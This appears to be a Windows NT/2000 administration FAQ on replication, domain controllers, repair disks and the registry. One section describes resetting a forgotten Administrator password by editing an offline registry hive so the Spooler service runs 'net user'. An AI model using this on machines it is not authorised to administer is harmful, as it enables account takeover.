You may need to edit the boot.ini if Linux is installed onto a system. During installation DiskDruid (Red Hats disk configuration utility) may create a primary partition (depending on disk configuration) and although the extended NT partition was there first (and at the beginning of the disk), the primary partition affects the numbering of the partition() parameter of boot.ini. Changing it from (1) to (2) (for example) allows the successful boot of NT.


Q. How do I configure Directory Replication?

A. Directory Replication is the process of replicating directories and their contents from one machine to one or more machines. The only machines that can be export servers are Windows NT Server machines. Import servers can be an NT server, NT workstation or OS/2 LAN Manager machine.

The main usage for Directory Replication is for the export of login scripts from the PDC to the BDC(s), where the PDC is the export server and the BDC the import server. This means when you login the BDC can also supply the login script as well as the authentication of the user, leaving the PDC free. This is the case that will be explained below.

  1. You must add an account that will be used for the Directory Replication (i.e. Repuser). You cannot use the name Replicator as there is a user group of this name. Start User Manager for Domains (Start - Programs - Administrative Programs - User Manager for Domains)
  2. From the User menu, select New User.
  3. Name the user RepUser, with a full name and description. Set the password.
  4. Unselect "User must change password at next logon" and select "Password never expires"
  5. Click Groups and add to "Backup Operators" group
  6. Click Hours and ensure the user has 24hours for all days
  7. Close User Manager for Domains

The user has now been added to the domain, and the export server now needs to be configured

  1. Logon to the Export Server machine, the Primary Domain Controller as an Administrator
  2. From Control Panel click on Services
  3. Select "Directory Replication" and click Startup. Select Automatic, and for "Log on as" click the "..." button and select the Repuser and click Add. Next type in the password for the Repuser that you set.
  4. Click OK and a message "User <domain>\Repuser has been granted the Logon as a Service right and added to the local Replicator local group" will be displayed.
  5. Close the Services Control Panel applet
  6. Double click the "Server" Control Panel applet and click the Replication button
  7. In the export by default it will show %systemroot%/system32/Repl/Export which is where login scripts should be held. Clear any entries in the Export or Import machine list.
  8. Make sure "Export Directories" and "Import Directories" are checked, and close the Replication applet.
  9. From the Services Control Panel Applet click on "Directory Replication" and click Start
  10. Logoff of the PDC and logon to the BDC (or whatever the import machine)
  11. Start the Services Control Panel Applet and as before enable the Replication Service to automatically start at reboot but do not manually start it now.
  12. Start the Server Control Panel Applet and select Replication
  13. Select "Import Directories" and check the list of machines to import from is blank
  14. Click OK and it will start the "Directory Replication" service

You may be wondering why you should keep your login scripts in the export area, when your NETLOGON share is import/scripts, well it will actually replicate to itself from the export/scripts to import/scripts so they will be the same.

Some people have problems with replication and adding Repuser to the Domain Administrators group may fix the problem. Also only directories directly under the /export directory will be replicated, files will not be, they have to be in a subdirectory of export.

If you have problems you may also need to add an entry to the registry to allow the replicator service to access the remote registries. Open hkey_local_machine\system\currentcontrolset\control\securepipeservers\winreg\allowedpaths and add "system\currentcontrolset\services\replicator"


Q. How do I remotely create an Emergency Repair Disk?

A. You can schedule an ERD creation using
at \\<machine name> <time> /interactive /every:M,T,W,Th,F %windir%\system32\rdisk /s-

It may be preferable to store the contents of this disk on a location at the server, so the following batch script could be used:

%windir%\system32\rdisk /s-
net use z: \\<server name>\temp /persistent:no
if not exist z:\%computername% md z:\%computername%
copy %windir%\repair\*.* z:\%computername%\
net use z: /delete
exit

This would then be submitted as
at \\<machine name> <time> /interactive /every:M,T,W,Th,F \\<server>\<share>\ERD.BAT

You could also just put the call to ERD.BAT in the login script so the contents of the repair disk will be updated every time the user logs on.

If you notice that the setup.log file does not always get copied to the destination. Changing the attributes to -r -s -h before copying and changing them back after seems to make the difference.

A more supported method is to use a software product such as ERDisk from www.aelita.com.


Q. How do I promote a Backup Domain Controller to the Primary Domain Controller?

A. When possible you should always promote a BDC to the PDC while the main PDC is still active, in this way the original PDC will be demoted to a BDC and no information will be lost, however sometimes the PDC will not be available (i.e. its crashed) and a BDC needs to be promoted, as in the absence of a PDC, a BDC does not automatically promote itself.

  1. Log on to a BDC as an Administrator
  2. Start Server Manager (Start - Programs - Administrative Tools - Server Manager)
  3. If the PDC is not available then a warning will be displayed "Cannot find Primary DC for <domain>"
  4. Click on the BDC you want to promote to the PDC
  5. From the Computer menu select "Promote to PDC"
  6. Again if the PDC is not available then a warning "Cannot find Primary for <Domain>". Click OK to continue
  7. The Netlogon service will be stopped on the BDC, it will be changed to a PDC and then the Netlogon service will be started again.
  8. This machine is now the domain PDC

If the PDC was online, it would automatically be demoted to a BDC when the promotion occured.

To bring the original PDC back if it had not been demoted prior to the upgrade just start as normal, it will detect the running PDC and stop its netlogon service. You can then start Server Manager and select "Demote the BDC" and then promote.


Q. How do I reinstate my old PDC back into the Domain as the PDC?

A. It is not possible to have 2 PDC's in a domain so assuming the machine crashed, i.e. has not been demoted to a BDC before being shutdown, then when it starts it will still be configured to be a PDC

  1. Start up the old PDC machine
  2. Logon to the machine as an Administrator
  3. Start Server Manager (Start - Programs - Administrative Tools - Server Manager)
  4. The machine will still be described as a Primary Domain Controller, however its icon is just a wire frame and it is not acting as a PDC, i.e. it does not authenticate logons
  5. Select the machine, and from the Computer menu select "Demote to Backup Domain Controller"
  6. Click "Yes" to make the change
  7. Once the machine is a BDC, click on the computer again and from the Computer menu select "Promote to PDC"
  8. Click "Yes to make the change
  9. Server manager will then automatically demote the temporary PDC back to its BDC status and promote this machine back to the PDC


Q. What tuning can be performed on Directory Replication?

A. There are a number of registry entries you can update.

These are all values under HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Replicator\Parameters

GuardTime | Sets the amount of time the export folder must have had no changes before files are replicated, by default 2 minutes.
Interval | How often an export server looks for changes in the replicator folders, by default 5 minutes
Pulse | Number of times the import computer repeats the change notice after the initial announcement. By default three.
Random | Specifies the maximum time that the import servers can wait before requesting an update. An import server uses the export server's value of Random to generate a random number of seconds (from 0 to the value of Random). The import server waits this long after receiving an update notice before requesting the replica from the export server. This prevents the export server from being overloaded by simultaneous update requests. Default: 60


Q. I am unable to perform a repair without a CD-ROM drive?

A. Performing any repair requires a CD-ROM in the drive, however this was fixed in Service Pack 2 and later

  1. Extract the setupdd.sys file from the service pack installation file
    nt4sp3_i /x
    You will then be prompted for an installation directory.
  2. Create a new set of the NT installation disks (goto the i386 structure and run winnt32 /ox (if from an NT box) or winnt /ox (if from another OS).
  3. Once all 3 disks are created insert disk 2 and replace the file setupdd.sys from service pack 2 (or 3). To do this you will first need to set the file a:\setupdd to writable
    attrib a:\setupdd.sys -r
    Copy the file to the a: drive
    copy <service pack expansion drive and dir>\setupdd.sys a:

You will now be able to boot off of these disks and repair the registry/boot sector without a CD-ROM. Replacing system files without a CD-ROM is detailed in the procedure Q150497 which can be viewed from http://support.microsoft.com/support/


Q. Changing the Administrator password if you have forgotten it.

A. The instructions below require a second installation of NT on the machine you have forgotten the password to. I uses the srvany.exe resource kit utility.

  1. Install a second copy of NT onto the machine into a difference dir/drive (it only has to be a minimal installation) and boot into this installation
  2. Copy the srvany.exe from the resource kit into a dir, e.g. c:\temp
  3. Start regedt32
  4. Move to HKEY_LOCAL_MACHINE and select the root
  5. From the Open menu select "Load Hive"
  6. Move to %systemroot%\system32\config of the main NT installation, i.e. if your main installation (the one whose password you are trying to change) is installed at d:\winnt you would move to d:\winnt\system32\config
  7. Select System and click Open
  8. You will be asked for a key name, enter Mainreg and click OK
  9. Select the "Select" branch and write down the Default value, e.g. 0xn, e.g. 0x1. This will be used to load the ControlSet00n
  10. Move to HKEY_LOCAL_MACHINE\Mainreg\ControlSet00n\Services\Spooler and take a note of the ImagePath value (it will usually be %SystemRoot%\system32\spoolss.exe).
  11. Change ImagePath to c:\temp\srvany.exe (or where ever you copied the file to), click OK
  12. Move to Parameters and add a Value of type REG_SZ called Application. Once added double click the new value and set to %systemroot%\system32\net.exe
  13. Add another Value of type REG_SZ called AppParameters. Once added double click the new value and set to "user Administrator password".
  14. Move back to HKEY_LOCAL_MACHINE\Mainreg and select "Unload Hive" from the open menu. Click Yes to the confirmation
  15. You should now reboot and boot off of your original NT installation. Wait a few minutes and then logon as the administrator with password password.

You now need to correct the changes made

  1. Start Regedt32.exe
  2. Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Spooler\Parameters and delete Application and AppParameters values.
  3. Move down to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Spoole and change ImagePath back to its original value (%SystemRoot%\system32\spoolss.exe)

You may now delete the second installation of NT if you wish and remove it from the boot menu (edit boot.ini after removing the hidden, read only and system attributes attrib c:\boot.ini -r -s -h).

All this actually does is change the spooler service to use the SRVANY.EXE program which runs NET as the service with parameters "user Administrator password", which is the same as net user Administrator password which is a way to change the password. Check the resource kit for more information on SRVANY.


Q. Where is RDISK in Windows 2000?

Q. Where is RDISK in Windows 2000? - Windows 2000 only

A. The RDISK.EXE utility has been replaced with an option in the NTBACKUP.EXE utility.

  1. Start NTBACKUP.EXE (Start - Run - NTBACKUP.EXE)
  2. Select "Create an Emergency Repair Disk" from the tools menu
  3. Insert a blank formatted disk in drive A: and click OK
  4. Click OK to the completion message and click OK

The recovery disk can no longer be used to restore user accounts etc. and you will need to backup/restore the Active Directory which will be covered in the backup section.


Q. How do I install the Recovery Console?

Q. How do I install the Recovery Console? - Windows 2000 only

A. The Windows 2000 recovery console enables an Administrator to gain access to a 2000 system from a command session to replace damaged files and to disable or enable services. When installed it adds an option to the Windows 2000 start menu.

To install perform the following:

  1. Boot into Windows 2000
  2. Insert the installation CD
  3. From a command prompt move to the I386 directory and type:
    C:\> winnt32 /cmdcons
  4. A dialog will be displayed asking for confirmation. Click Yes.
  5. File will be copied to the computer and an extra item added to the boot menu.
    C:\CMDCONS\BOOTSECT.DAT="Microsoft Windows 2000 Command Console" /cmdcons
  6. A completion message will be displayed. Click OK

Rebooting the computer will enable the option "Microsoft Windows 2000 Command Console" to be selected and start Windows 2000 in command mode.

You will be asked which 2000 installation to repair and the Administrator password:

Microsoft Windows 2000(TM) Recovery Console.

The Recovery Consoel provides system repair and recovery functionality.

Type EXIT to quit the Recovery Console and restart the computer.

1: C:\Winnt
2: F:\WINNT

Which Windows 2000 installation would you like to log onto
(To cancel, press ENTER)? 2
Type the Administrator password: ***

Once you have entered the password you will be able to enter a number of commands such as DISABLE to disable a service, DISKPART to create and remove partitions and many others. Just type HELP for a list of all commands.

Its also possible to activate the console directory from the installation CD by booting off of the CD (if you motherboard supports CD booting), select Repair and press C to repair using the console.

If you have renamed the Administrator account the console will still work however deleting the Administrator account will render the console inoperative.

The Recovery Console does have some security built-in and you can only access the root of the system driver and the %systemroot% directory and its sub-directories.

Some of the most useful commands are:

LISTSVC | List services
ENABLE/DISALBE | Enable/disable service
DISKPART | Equivalent of FDISK
FIXBOOT | Create a new boot sector on the system partition
FIXMBR | FDISK /MBR equivalent (problems with RAID etc)
LOGON | List installation of Windows 2000 installation and can choose which to work on
SYSTEMROOT | Move to the system root
MAP | Display a list of drives and their ARC paths. Useful to fix boot.ini problems


Q. How do I create a bootable CD-ROM containing ERD Commander/Professional?

A. ERD Commander is a fantastic tool by http://www.winternals.com which gives access to NT systems by booting off modified Windows NT setup disks which allows access to not only the file system but also the registry and many other items to enable you to recover an unbootable NT system. It also gives access to removable media allowing you to replace corrupted system files, something you otherwise can't do without a second NT installation on the machine. The professional version also allows you to change passwords from outside of NT!

Its now possible to create a bootable CD-ROM containing ERD Commander which allows you to just insert the CD-ROM, reboot and you have an ERD Commander session.

A full procedure can be downloaded here, BOOTABLEERD.doc, however below are the steps I used and have included some additional files to make it easier for you.

  1. Install ERD Commander/Professional as usual which creates a number of startup disks based on the NT installation diskettes (3 for Commander, 4 for Professional)
  2. Create a directory on a partition called ERD
  3. Create a subdirectory i386 (e.g. c:\ERD\i386)
  4. Copy the content of all disks to this i386 directory
  5. Download and extract Service Pack 5
    C:\> SP5I386 /X
  6. Any files that are in the ERD\i386 directory that are also included with SP5 replace with the SP5 version (including files in the system32 directory EXCEPT Smss.exe which is core to ERD Commander). There are a lot of these but it will allow you to access NTFS 5.0 partitions and has a number of fixes. This step is not compulsory but recommended
  7. Download files bootsec.bin and CDROM_w.40. Place them both in the ERD directory.
  8. Copy the files
    - ntdetect.com
    - setupldr.bin
    - txtsetup.sif
    from the ERD\i386 directory to the ERD directory (but do NOT remove from the ERD\i386 directory)
  9. Start your CD-ROM burning software (CDRWIN from http://www.goldenhawk.com is recommended) but whatever software you use it must support creating a bootable CD-ROM
  10. Add the ERD directory to the CD image BUT ERD should be the root and so I386 should be a subdirectory off of the root of the CD so you should not have on the CD a directory ERD\I386, just I386, and the 3 files in the ERD directory would be on the root of the CD.
  11. Remember options:
    - ISO9660 File system (no Joliet )
    - No version numbers
    - BOOTABLE CD : emulation : none (custom) load sector count : 4 load segment (default) 07C0H
    - The boot sector image is the bootsec.bin you downloaded
    There is an example of creating a 2000 disk at install67 which is basically the same as this (goto step 7)
  12. Create your CD! You should now be able to boot off of it. I tried this last night and it worked great. If you have problems download the word document listed at the start, however I never had to edit setupldr.bin and if you use my boot sector image you won't need to do that part either.

Note: If you create a bootable ERD Commander Professional CD (versions 1.06a or lower), the program continues to ask for disk 4 for the FTDISK, PASSWORD, & CHKDSK commands. This will be fixed in the next version.

If using ERD Professional it's a good idea to get the new password update from winternals.com's support page.

The full list of files from SP5 to be copied to ERD\I386 are:

  • i8042prt.sys
  • halncr.dll
  • halmca.dll
  • hal486c.dll
  • l_intl.nls
  • fastfat.sys
  • disk.sys
  • kbdus.dll
  • c_1252.nls
  • cpqfws2e.sys
  • cpqarray.sys
  • class2.sys
  • halapic.dll
  • ntfs.sys
  • ntkrnlmp.exe
  • cdrom.sys
  • pcmcia.sys
  • cdfs.sys
  • ntdetect.com
  • autochk.exe
  • ql10wnt.sys
  • scsiport.sys
  • atdisk.sys
  • atapi.sys
  • aic78xx.001
  • sfloppy.sys
  • ftdisk.sys
  • symc810.sys
  • vga.sys
  • videoprt.sys
  • system32\ntdll.dll

Thanks to Guillaume Bordier for the original word document and you can see his site at http://www.multimania.com/jfb/gb


Q. How do I enable kernel only crash dumps?

A. In Windows NT 4.0 when a crash occurs the entire memory is dumper out to file memory.dmp to aid in the debugging of a crash. In reality its only information stored within the kernel portion of memory that is needed and Windows 2000 introduces the ability to only dump out the kernel area of memory.

Why? Well if we have 128MB of memory and the machine crashes we get a 128MB file, big, but not to big to FTP to Microsoft. Now imagine you have a huge data store server with terabytes of memory, while Microsoft has the ability to accept files these big a smaller file would be better for everyone.

Using the 128MB machine dumping out the kernel only portion of memory would result in a dump of around 35MB, so about 27% of the original file size.

To enable kernel only crash dumps perform the following:

  1. Start the system control panel applet
  2. Select the 'Advanced' tab and click the 'Startup and Recovery' button
  3. Under the 'Write Debugging Information' section select 'Kernel Memory Dump'
  4. Click OK
  5. Restart the computer for the change to take effect

You can also set by changing values under HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\CrashControl key. CrashDumpEnabled should be set to 2 for a kernel dump, 3 for a mini-memory dump, and DumpFile should be set to %SystemRoot%\Memory.dmp.


Q. What's the difference between manual and fast recovery in Windows 2000?

A. Windows 2000 has two options when performing recovery, fast or manual.

When you select manual you have a number of options:

  • Inspect startup environment
    (checks existence of boot.ini and the ARC paths therin)
  • Verify Windows 2000 system files
    (performs a cyclic redundancy check (CRC) on the core boot/system files except ntbootdd.sys)
  • Inspect Boot Sector
    (repairs active system partition boot sector and reinstalls boot loaded functionality)

If you select FAST repair it performs all of the above and additionally tries to load each Windows 2000 registry file (SAM, SECURITY, SYSTEM, and SOFTWARE). If a registry file is damaged or cannot be loaded, Repair copies the missing or corrupted registry file from the %SystemRoot%\Repair folder to the %SystemRoot%\System32\Config folder.

Because it may restore old registry backup files it may revert your installation back to an older configuration and if this happens you will need to manually restore a more up-to-date system state backup.


Q. I've deleted NTBOOTDD.SYS and can't find it anywhere.

A. If in your boot.ini file your ARC paths consist of either SCSI() or SIGNATURE() you are using SCSI connection for the installation and the file NTBOOTDD.SYS contains the miniport device driver for the initial boot to communicate with the SCSI controller.

There is no such file as NTBOOTDD.SYS supplied with WIndows NT/2000 as its created during installation depending on your exact SCSI card.

This file is the specific SCSI miniport device driver for the SCSI adapter from which you are booting, renamed to Ntbootdd.sys and placed in the root folder of the system drive.

To fix copy the correct device driver for the SCSI controller in use on the computer, and then rename it to NTBOOTDD.SYS at the root of the system partition (C: normally).

For example you would rename aic78xx.sys for a 2940UW Adaptec card (either from the NT installation media or better from the latest service pack if supplied).


Q. What is the Registry?

A. Originally there were .ini files in Windows, however the problem with .ini files are many, e.g. size limitations, no standard layout, slow access, no network support etc. Windows 3.1 (yes Windows not Windows NT) had a registry which was stored in reg.dat and could be viewed using regedit.exe and was used for DDE, OLE and File Manager integration. In Windows NT the Registry is at the heart of NT and is where nearly all information is stored, and is split into a number of subtrees, each starting with HKEY_ to indicate that it is a handle that can be used by a program.

HKEY_LOCAL_MACHINE | This contains information about the hardware configuration and installed software.
HKEY_CLASSES_ROOT | This is just a link to HKEY_LOCAL_MACHINE\SOFTWARE\Classes and contains links between applications and file types as well as information about OLE.
HKEY_CURRENT_CONFIG | Again this is a link to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Hardware Profiles\Current and contains information about the current configuration.
HKEY_CURRENT_USER | This is a link to HKEY_USERS\<SID of User> and contains information about the currently logged on users such as environment, network connections, printers etc.
HKEY_USERS | Contains information about actively loaded user profiles, including .default which is the default user profile.

Each of the subtrees has a number of keys, which in turn have a number of subkeys. Each key/subkey can have a number of values which has 3 parts

  • The name of the value, e.g. Wallpaper
  • The type of the value, e.g. REG_SZ (which is a text string)
  • The actual value of the value, e.g. "c:\winnt\savilltech.bmp"

To edit the registry there are two tools available, regedt32.exe and regedit.exe.Regedit.exe has better search facilities, but does not support all of the Windows NT registry value types. If you want to just have a look around the Registry:

  1. Start a registry editor (regedit.exe or regedt32.exe)
  2. In Regedt32.exe you can set the registry to read only mode which means you won't corrupt anything :-) (Options - Read Only Mode)
  3. Select the HKEY_USERS subkey
  4. Move to the .default - Control Panel - Desktop and you will see a number of values in the right hand pane.
  5. One of them is wallpaper and this is the background that is displayed before you logon.


Q. What files make up the registry, and where are they?

A. The files that make up the registry are stored in %systemroot%/system32/config directory and consist of

  • SAM - HKEY_LOCAL_MACHINE\SAM
  • SECURITY - HKEY_LOCAL_MACHINE\Security
  • software - HKEY_LOCAL_MACHINE\Software
  • system - HKEY_LOCAL_MACHINE\System & HKEY_CURRENT_CONFIG
  • default - HKEY_USERS\.DEFAULT
  • Ntuser.dat - HKEY_CURRENT_USER (this file is stored in %SystemRoot%\Profiles\%username%)

There are also other files with different extensions for some of them

  • .alt - Contains a backup copy of the HKEY_LOCAL_MACHINE\System hive. Only System has a .alt file
  • .log - A log of changes to the keys and values for the hive
  • .sav - A copy of the hive as it looks at the end of the text mode stage in setup


Q. How do I restrict access to the registry editor?

A. Using the registry editor (regedt32.exe)

  1. Highlight HKEY_USERS and Load Hive from the Registry menu.
  2. Browse to the users profile directory who you want to restrict the registry tools for and select NTUser.dat.
  3. When prompted for Key Name, input their UserID.
  4. Navigate to \Software\Microsoft\Windows\CurrentVersion\Policies.
  5. If no System sub-key exists, Add Key. Then Add Value of DisableRegistryTools (under the System key) using type REG_DWORD and set it to 1.
  6. Unload Hive from the Registry menu.


Q. What is the maximum registry size?

A. The maximum size is 102MB, however it is slightly more complicated than this.

The registry entry that controls the maximum size of the registry is HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\RegistrySizeLimit. By default this entry will not exist so it will need to be created:

  1. Start the registry editor (regedit.exe)
  2. Move to the HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control key
  3. From the Edit menu, select New - DWord value and enter the name as RegistrySizeLimit
  4. Double click the new entry and enter a value in bytes (choose decimal as the type)

The minimum size is 4MB, and if anything less than this is entered in the registry then it will be forced up to 4MB. The maximum is 80% of the paged pool (which has a maximum size of 128MB, hence 102MB which is 80% of 128MB). If no entry is entered then the maximum size is 25% of the paged pool. The paged pool is an area of physical memory used for system data that can be written to disk when not in use.

An important point to note is that the RegistrySizeLimit is a maximum, not an allocation, and so setting a high value will not reserve the space, and it does not guarantee the space will be available.

This can also be configured using the System Control Panel applet, click on the Performance tab and the maximum registry size can be set there. You would then need to reboot.

For more information see Knowledge Base Article Q124594

There is another complication, during early boot, NTLDR loads some code, allocates working memory, and reads in parts of the registry. All of this has to fit in the first 16MB of memory regardless of how much memory is physically installed. The entire system file is read; enough memory is required to contain the whole file as stored on disk without regard to how much of it is useful.

Some problems

  • The registry contains wasted space (sometimes a LOT). Try saving the SYSTEM key from REGEDT32 and then comparing the saved file size with that of the SYSTEM hive in \%systemroot%\system32\config\. On one machine, I reduced the SYSTEM hive from 9,720 KB to 864 KB in this manner.
  • Creation of the LastKnownGood ControlSet (usually #2) soon after boot almost doubles the size of the file. Depending on circumstances, such as reclaimable space in the "gas", additions to the registry may require new space to be allocated beyond the end of the combined Current and LastKnownGood SYSTEM hive. Now after the next boot, another LastKnownGood is tacked onto the end of the file, adding about a third to its size. In my case, a registry with a "true" size of 4MB was thus inflated to 12MB and caused boot failure.

A number of ways to get rid of the excess space:

  • If FAT, merely boot from DOS floppy, then replace the SYSTEM file
  • If NTFS, boot from another NT partition and replace file in previous partition
  • Use REGBACK/REGREST from the NT reskit. [maybe easiest of all]
  • Run RDISK, shutdown, and repair the system. Make sure you use RDISK /s when using this to also backup the user database.
  • Use ERD Commander from Winternals Software

To turn this off use REGEDT32 to add the value "ReportBootOk:REG_SZ:0" [zero] to HKEY_Local_Machine\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon This will prevent creation of the LastKnownGood ControlSet. If a boot fails because the 16 MB limit with NTLDR is exceeded, no dump can be produced and MS will not solve the problem. This 16 MB problem will not be changed in NT 5.


Q. Should I use REGEDIT.EXE or REGEDT32.EXE?

A. You can use either for NT. REGEDIT does have a few limitations, the largest is that it does not support the full regedit data types such as REG_MULTI_SZ, so if you edit this type of data with REGEDIT it will change its type.

REGEDIT.EXE is based on the Windows95 version and has features that REGEDT32.EXE lacks (such as search). In general REGEDIT.EXE is nicer to work with. REGEDIT.EXE also shows your current position in the registry at the bottom of the window.

REGEDT32.EXE allows full ACL modification on all registry values which REGEDIT.EXE does not.

It is possible to mount an additional hive with REGEDT32 and then search it with REGEDIT. You can only do this when you use them in tandem (thanks to Steven Yarnot for this tip)

1. Launch REGEDIT32
2. Go to the HKEY_USERS window
3. Highlight the root key (HKEY_USERS)
4. Select Registry | Load Hive
5. Browse to the profile of another user on this pc, select the NTUSER.DAT file in their profile folder (\WINNT\PROFILES\USERNAME) Give this hive an easy name like "TargetUser"
6. Notice that under the HKEY_USERS key that "TargetUser" has been added as a subkey.
7. Launch REGEDIT (do not close REGEDT32)
8. Notice that under HKEY_USERS, there is a TargetUser Key......

You can use REGEDIT to search this subkey.

Further, you can use this feature to export settings from one registry hive to another.

9. Export a subkey of the Key TargetUser Using REGEDIT (until you are comfortable with this, I recommend a small, harmless key....)
10. Close REGEDIT
11. Highlight the TargetUser Hive in REGEDT32
12. Select Registry | Unload Hive
13. Repeat steps 2-5 on another user profile. (Use the same name for the key)
14. Double-click the .REG file you exported; the items you exported from the first user will now be imported to the second user!

When you are done, do not forget to properly close up shop, only one user can mount a registry hive at a time:

15. Highlight the TargetUser Hive in REGEDT32
16. Select Registry | Unload Hive


Q. How do I restrict access to a remote registry?

A. Access to a remote registry is controlled by the ACL on the key winreg.

  1. Start the registry editor (regedt32.exe)
  2. Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurePipeServers
  3. Check for a key called winreg. If it does not exist create it (Edit -Add Key)
  4. Select the winreg key (by clicking on it)
  5. From the Security menu select permissions
  6. Click the Add button and give the user you want read access
  7. Once added, click on the user and select "Special Access"
  8. Double click on the user and you can select which actions the user can perform
  9. Click OK when finished

It is possible to set up certain keys to be accessible even if the user does not have access by editing the value HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurePipeServers\winreg\AllowedPaths\Machine (use regedt32). You can add paths to this list.


Q. How can I tell what changes are made to the registry?

A. Using the regedit.exe program it is possible to export portions of the registry. This feature can be used as follows:

  1. Start the registry editor (regedit.exe)
  2. Select the key you want to monitor
  3. From the Registry menu select "Export registry file"
  4. Enter a file name (notice if you want to export the whole registry just select the "Export Range All") and click OK
  5. Perform the change (install some software or change a system parameter)
  6. Rerun steps 1 to 4 using a different file name
  7. Run the two files through a comparison utility (for example windiff.exe)
  8. If you are using windiff, select Compare Files from the File menu and you will then be prompted to select the 2 files to compare.
  9. Once compared a summary will be displayed stating if there are differences, to view the changes double click on the message
  10. Press F8 to view the next change (or select next change from the view menu)
  11. You have now found what changed!


Q. How can I delete a registry value/key from the command line?

A. Using the Windows NT Resource Kit Supplement 2 utility REG.EXE you can delete a registry value from the command line or batch file, e.g.

reg delete HKLM\Software\test

Would delete the HKEY_LOCAL_MACHINE\Software\test value. When you enter the command you will be prompted if you really want to delete, enter Y. To avoid the confirmation add /force to the command, e.g.

reg delete HKLM\Software\test /force

A full list of the codes to be used with REG DELETE are as follows:

HKCR | HKEY_CLASSES_ROOT
HKCU | HKEY_CURRENT_USER
HKLM | HKEY_LOCAL_MACHINE
HKU | HKEY_USERS
HKCC | HKEY_CURRENT_CONFIG

To delete a entry on a remote machine add the name of the machine, \\<machine name>, e.g.

reg delete HKLM\Software\test \\johnpc


Q. How can I audit changes to the registry?

A. Using the regedt32.exe utility it is possible to set auditing on certain parts of the registry. I should note that any type of auditing is very sensitive lately and you may want to add some sort of warning letting people know that their changes are being audited.

  1. Start the registry editor (regedt32.exe)
  2. Select the key you wish to audit (e.g. HKEY_LOCAL_MACHINE\Software)
  3. From the Security menu select Auditing
  4. Check the "Audit Permission on Existing Subkeys" if you want subkeys to also be audited
  5. Click the Add button and select the users you want to be audited, click Add and then click OK
  6. Once there are names in the "Names" box you can select which events to be audited, whether success or failure.
  7. When you have filled in all the information click OK

You will need to make sure that Auditing for File and Object access is enabled (use User Manager - Polices - Audit).

To view the information use Event Viewer and look at the Security information.


Q. How can I clean up/remove invalid entries from the registry?

A. Microsoft have released a utility called RegClean which will go through your machines registry and delete any unused/unnecessary keys. The current version is 4.1a and can be downloaded from http://support.microsoft.com/download/support/mslfiles/RegClean.exe .

Once downloaded just click on the Executable and it will check your registry, once the check is completed you will be given an option to fix errors "Fix Errors" button. You can click the Exit button to exit.

RegClean creates an uninstall file in the directory the image is located in, of the name

"Undo <machine name> <yyyymmdd> <hhmmss>.reg"
e.g. "Undo workstation 19980320 104323.reg"

To undo the changes just double click (or single depending on your config ;-) ) this file.

See http://support.microsoft.com/support/kb/articles/q147/7/69.asp for more information.


Q. I make changes to HKEY_LOCAL_MACHINE but they are lost on reboot.

Q. I make changes to HKEY_LOCAL_MACHINE\HARDWARE but they are lost on reboot.

A. This is because HKEY_LOCAL_MACHINE\HARDWARE is recreated by the system at boot time and this means any settings such as ACL's are lost. The rest of HKLM (SOFTWARE, SYSTEM, SAM, SECURITY) is stored on disk, and is not recreated during system boot.


Q. What data types are available in the registry?

A. Below is a table of data types supported by Regedt32.exe, regedit.exe does not support REG_EXPAND_SZ or REG_MULTI_SZ

REG_BINARY | This is raw binary data
REG_DWORD | This is a double word (4 bytes). It can be displayed in binary, hexadecimal or decimal format
REG_EXPAND_SZ | An expandable text string that contains a variable (for example %systemroot%)
REG_MULTI_SZ | A multiple line string. Each "line" is separated by a null
REG_SZ | A text string


Q. How can I automate updates to the registry?

A. There are 2 main methods you can use to create scripts that can be run to automate the updates. The first is to create a .reg file which can then be run using

regedit /s <reg file>

The format of the file is

REGEDIT4
[<key name>]
"<value name>"="<value>" a string value
"<value name>"=hex:<value> a binary value
"<value name>"=dword:<value> a dword value

for example

REGEDIT4

[HKEY_USERS\.DEFAULT\Control Panel\Desktop]
"Wallpaper"="E:\\WINNT\\savtech.bmp"
"TileWallpaper"="0"

[HKEY_USERS\.DEFAULT\Control Panel\Colors]
"Background"="0 0 0"

Would set the default background and color before anyone logs on.

The second method is to user a Windows 95 style .inf file. These are run using the command

rundll32 syssetup,SetupInfObjectInstallAction DefaultInstall 128 <inf file>

The format of the file is as follows

[Version]
Signature = "$Windows NT$"
Provider=%Provider%

[Strings]
Provider="SavillTech Ltd"

[DefaultInstall]
AddReg = AddReg
DelReg = DelReg
UpdateInis = UpdateInis

[AddReg]
[DelReg]
[UpdateInis]

Below are the keys to be used

HKCR | HKEY_CLASSES_ROOT
HKCU | HKEY_CURRENT_USER
HKLM | HKEY_LOCAL_MACHINE
HKU | HKEY_USERS

The file below is an .inf file which performs the same as the .reg file described earlier

[Version]
Signature = "$Windows NT$"

[DefaultInstall]
AddReg = AddReg

[AddReg]
HKU,".DEFAULT\Control Panel\Colors","Background",0000000000,"0 0 0"
HKU,".DEFAULT\Control Panel\Desktop","Wallpaper",0000000000,"E:\WINNT\savtech.bmp"
HKU,".DEFAULT\Control Panel\Desktop","TileWallpaper",0000000000,"1"

INF files can be generated automatically using the SYSDIFF utility if you have a difference file (sysdiff /inf <name of difference file> <dir to create to>)

A registry entry can also be deleted using .REG files. That is, if one has a .reg file with, e.g.,

[HKEY_CURRENT_USER\Test]

to enter a key, then one can use

[-HKEY_CURRENT_USER\Test]

to remove it.


Q. How do I apply a .reg file without the success message?

A. To apply a .reg file (a registry information file) the normal method from the command prompt is to enter

C:\> regedit <registry file>.reg

This applies the change and gives a confirmation message:

"Information is <filename>.reg has been successfully entered into the registry"

If you would like to avoid this confirmation message and apply the change silently use the /s switch, e.g.

C:\> regedit /s <registry file>.reg


Q. How can I remotely modify the maximum registry size?

A. The maximum registry size is usually defined using the System properties control panel applet, Performance tab. When you change this value all it actually does is to update the registry entry

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\RegistrySizeLimit

You could therefore modify this from the command line using a registry script. For example

REGEDIT4

[HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control]
"RegistrySizeLimit"="24000000"

Run using

C:\> regedit /s <reg name>

